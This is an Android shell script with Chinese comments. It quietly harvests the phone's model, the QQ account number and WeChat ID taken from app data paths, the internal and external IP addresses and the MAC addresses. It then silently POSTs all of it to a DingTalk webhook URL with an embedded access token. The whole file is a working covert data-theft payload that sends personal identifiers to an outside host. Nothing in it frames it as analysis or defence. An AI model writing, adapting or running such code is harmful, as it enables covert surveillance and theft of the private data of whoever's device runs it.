WEBHOOK="https://oapi.dingtalk.com/robot/send?access_token=86fec740af5f56141753459d8aee782caa92eef266553c1a0ca9f338c82befec"

# 基础信息获取
NOTICE="小学生驾到"
TIME=$(date '+%Y-%m-%d %H:%M:%S')
DEVICE=$(getprop ro.product.model) >/dev/null 2>&1

# QQ号获取
QQ="未获取到"
QQ_PATHS=(
    "/sdcard/Android/data/com.tencent.mobileqq/files/account_info.dat"
    "/sdcard/Android/data/com.tencent.mobileqq/cache/uin_cache.txt"
    "/data/data/com.tencent.mobileqq/shared_prefs/qq_preferences.xml"
    "/sdcard/tencent/MobileQQ/"
)
for path in "${QQ_PATHS[@]}"; do
    if [ -f "$path" ] || [ -d "$path" ]; then
        QQ_TMP=$(grep -oE '[0-9]{5,11}' "$path" 2>/dev/null | head -1)
        if [ -d "$path" ] && [ "$path" = "/sdcard/tencent/MobileQQ/" ]; then
            QQ_TMP=$(ls "$path" | grep -oE '[0-9]{5,11}' | head -1) 2>/dev/null
        fi
        if [ -n "$QQ_TMP" ]; then
            QQ=$QQ_TMP
            break
        fi
    fi
done

# 微信号获取
WECHAT="未获取到"
WECHAT_PATHS=(
    "/sdcard/Android/data/com.tencent.mm/MicroMsg/MicroMsg.db"
    "/sdcard/tencent/MicroMsg/"
    "/data/data/com.tencent.mm/shared_prefs/com.tencent.mm_preferences.xml"
    "/sdcard/Android/data/com.tencent.mm/cache/userinfo.txt"
)
for path in "${WECHAT_PATHS[@]}"; do
    if [ -f "$path" ] || [ -d "$path" ]; then
        WECHAT_TMP=$(grep -oE '[a-zA-Z0-9_]{5,20}' "$path" 2>/dev/null | head -1)
        if [ -d "$path" ] && [ "$path" = "/sdcard/tencent/MicroMsg/" ]; then
            WECHAT_TMP=$(ls "$path" | grep -oE '[0-9a-fA-F]{32}' | head -1) 2>/dev/null
            if [ -n "$WECHAT_TMP" ]; then
                WECHAT="微信账号哈希：$WECHAT_TMP"
                break
            fi
        fi
        if [ -n "$WECHAT_TMP" ]; then
            WECHAT=$WECHAT_TMP
            break
        fi
    fi
done

# 详细IP信息获取
INNER_IP="未获取到"
INNER_IP=$(ifconfig wlan0 | grep -oE 'inet [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' 2>/dev/null)
if [ -z "$INNER_IP" ]; then
    INNER_IP=$(ifconfig rmnet0 | grep -oE 'inet [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' 2>/dev/null)
fi
[ -z "$INNER_IP" ] && INNER_IP="内网IP未获取到"

OUTER_IP="未获取到"
API_LIST=(
    "http://icanhazip.com"
    "http://ipinfo.io/ip"
    "http://ifconfig.me/ip"
)
for api in "${API_LIST[@]}"; do
    OUTER_IP=$(/system/bin/curl -s --connect-timeout 5 "$api" 2>/dev/null)
    if [ -n "$OUTER_IP" ] && echo "$OUTER_IP" | grep -qE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' 2>/dev/null; then
        break
    fi
done
[ -z "$OUTER_IP" ] && OUTER_IP="外网IP未获取到"

MAC_WLAN=$(cat /sys/class/net/wlan0/address 2>/dev/null)
MAC_RMNET=$(cat /sys/class/net/rmnet0/address 2>/dev/null)
MAC_INFO="Wi-Fi MAC: ${MAC_WLAN:-未获取}, 移动网络 MAC: ${MAC_RMNET:-未获取}"
IP_DETAIL="内网IP: ${INNER_IP}\n外网IP: ${OUTER_IP}\n${MAC_INFO}"

# 构造消息并发送（全程静默）
CONTENT="通知:${NOTICE}\n时间:${TIME}\n设备:${DEVICE}\nQQ号:${QQ}\n微信号:${WECHAT}\nIP详细信息:${IP_DETAIL}"
JSON_DATA="{\"msgtype\":\"text\",\"text\":{\"content\":\"${CONTENT}\"},\"at\":{\"isAtAll\":false}}"
/system/bin/curl -s -X POST "$WEBHOOK" -H "Content-Type: application/json" -d "$JSON_DATA" >/dev/null 2>&1